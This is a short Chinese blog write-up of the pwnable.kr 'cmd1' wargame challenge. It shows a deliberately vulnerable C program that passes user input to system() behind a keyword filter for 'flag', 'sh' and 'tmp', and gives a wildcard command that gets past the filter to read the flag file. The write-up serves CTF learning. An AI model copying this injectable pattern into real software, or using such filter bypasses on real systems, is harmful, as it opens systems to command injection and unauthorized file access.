【Writeup】Pwnable.kr 0x0E cmd1

0x0E cmd1

题目描述

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

题目代码

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

题目分析

首先分析代码,这道题是让你输入程序参数,并放到system执行,然后这里有个filter函数,过滤了flag、sh、tmp三个关键字,如果我们想要得到flag,就不能输入flag,想了一下,发现通配符没有过滤,然后又想到cat命令在本机bin目录下存在,因此就可以用/bin/cat f*读取flag

解题步骤

./cmd1 "/bin/cat f*"
最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 1.创建文件夹 !/bin/sh mkdir -m 777 "%%1" 2.创建文件 !/bin/sh touch...
    BigJeffWang阅读 10,602评论 3赞 53
  • ×00 0CTF 『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CT...
    tmdsb38阅读 3,090评论 0赞 4
  • 1、memcache的概念? Memcache是一个高性能的分布式的内存对象缓存系统,通过在内存里维护一个统一的巨...
    桖辶殇阅读 2,399评论 2赞 12
  • 捉迷藏 题目url:http://218.76.35.75:20111/index.php 进去之后查看源码: 发...
    Pr0ph3t阅读 1,796评论 0赞 2
  • 夕阳,美得令人沉沦。 一对男女坐在沙滩边,望着那片火红的夕阳。 女子唇角微勾,望着那...
    不二喵i阅读 346评论 0赞 1

友情链接更多精彩内容